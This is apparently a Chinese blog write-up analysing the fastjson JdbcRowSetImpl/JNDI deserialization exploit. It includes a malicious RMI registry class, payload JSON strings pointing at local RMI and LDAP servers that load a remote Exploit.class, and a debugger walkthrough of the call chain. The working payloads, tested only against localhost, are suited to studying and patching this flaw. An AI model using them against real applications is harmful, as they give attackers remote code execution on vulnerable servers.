88103756 2019-12-03
基于fastjson的第一种payload是基于templatesImpl的方式,但是这种方式要求Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,是有限制的,这篇文章分析的基于jdbcRowSetImpl的方式可以使用jndi的方式更具有通用性一些,关于templateImpl的利用方式参考https://www.cnblogs.com/wfzWebSecuity/p/11431543.html
package person.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        Registry registry = LocateRegistry.createRegistry(1099); //rmi服务器绑定1099端口
        Reference reference = new Reference("Exploit",
                "Exploit","http://127.0.0.1:8080/");  //请求本地8080端口
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper); //绑定工厂类,即rmi将去本地web目录下去找Exploit.class
    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();
    }
}比如此时先本地起一个rmi服务器

exp:
package person;
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
             
       String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";
        JSON.parse(payload);
    }
}然后指定rmi的地址,触发payload解析,从而calc,其中Exploit.class不要带包名,

 
这里java版本用的是1.8.0,用1.8.0_202中要设置trustCodebase选项,也就是做了一定的限制,直接从外部加载类的话是不被允许的

用mashalsec起rmi服务:

此时也能够calc

用marshalsec在本地起一个ldap服务,然后将Exploit.class放到启动的当前目录下

然后本地先测试一下1.8.0版本的jdk能否直接从ldap加载exploit.class
public static void testLdap(){
        String url = "ldap://127.0.0.1:1389";
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, url);
        try{
            DirContext dirContext = new InitialDirContext(env);
            System.out.println("connected");
            System.out.println(dirContext.getEnvironment());
            Reference e = (Reference) dirContext.lookup("e");
        }catch(NameNotFoundException ex){
            ex.printStackTrace();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
exp:
public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
                String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," +
                " \"autoCommit\":true}";
        JSON.parse(payload);
    }
}直接通过ldap加载没问题,可以calc
之前尝试parse处下一个断点然后正向找到setvalue函数处来分析,可以整个处理过程太过于繁琐,尤其是到asm处,中间不知道得有n个F7,遂这里直接在setDataSourceName处下断点

即此时将从我们payload中指定的DataSourceName中去加载class

接下来到setAutoCommit中
其中调用了connect()函数,跟进,此时就能看到熟悉的lookup函数啦,即从远程加载class的关键点

此时getDataSourceName()的返回值也可以看到即为我们所指定的


然后跟进lookup看看如何调用实例化,这里调用了getURLOrDefaultInitCtx(name).lookup()函数

此时就到了java的命名服务管理的类,此时调用getURLContext函数请求ldap,进一步在其中调用getURLObject来通过从远程的ldap服务获取对象

此时就到了最终的exploit.class类的实例化,也就是工厂类的实例化,熟悉的getObjectInstance(),此时就完成了反序列化,从而触发exploit里的构造函数

调用链如下所示:

参考: